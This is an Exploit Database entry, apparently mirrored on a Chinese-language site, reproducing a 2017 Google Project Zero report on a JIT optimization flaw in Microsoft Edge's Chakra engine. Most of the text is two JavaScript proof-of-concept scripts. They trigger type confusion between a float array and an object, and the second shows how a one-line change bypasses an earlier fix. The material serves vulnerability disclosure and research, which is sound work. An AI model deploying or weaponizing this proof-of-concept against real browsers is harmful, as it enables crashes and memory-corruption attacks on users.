Microsoft Edge Chakra – Incorrect JIT Optimization with TypedArray Setter #2

• Exploit Database
• 19 阅读

• 作者： Google Security Research
  日期： 2017-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42473/

• <!--
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290
  
  I think the fix for #1045 is incorrect.
  
  Here's the original PoC.
  
  'use strict';
  
  function func(a, b, c) {
  a[0] = 1.2;
  b[0] = c;
  a[1] = 2.2;
  a[0] = 2.3023e-320;
  }
  
  function main() {
  var a = [1.1, 2.2];
  var b = new Uint32Array(100);
  
  // force to optimize
  for (var i = 0; i < 0x10000; i++)
  func(a, b, i);
  
  func(a, b, {valueOf: () => {
  a[0] = {};
  
  return 0;
  }});
  
  a[0].toString();
  }
  
  main();
  
  
  I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.
  
  PoC:
  -->
  
  'use strict';
  
  function func(a, b, c) {
  a[0] = 1.2;
  b[0] = c;
  a[1] = 2.2;
  a[0] = 2.3023e-320;
  }
  
  function main() {
  var a = [1.1, 2.2];
  var b = new Uint32Array(0);// <<--------- 100 -> 0
  
  // force to optimize
  for (var i = 0; i < 0x10000; i++)
  func(a, b, i);
  
  func(a, b, {valueOf: () => {
  a[0] = {};
  
  return 0;
  }});
  
  a[0].toString();
  }
  
  main();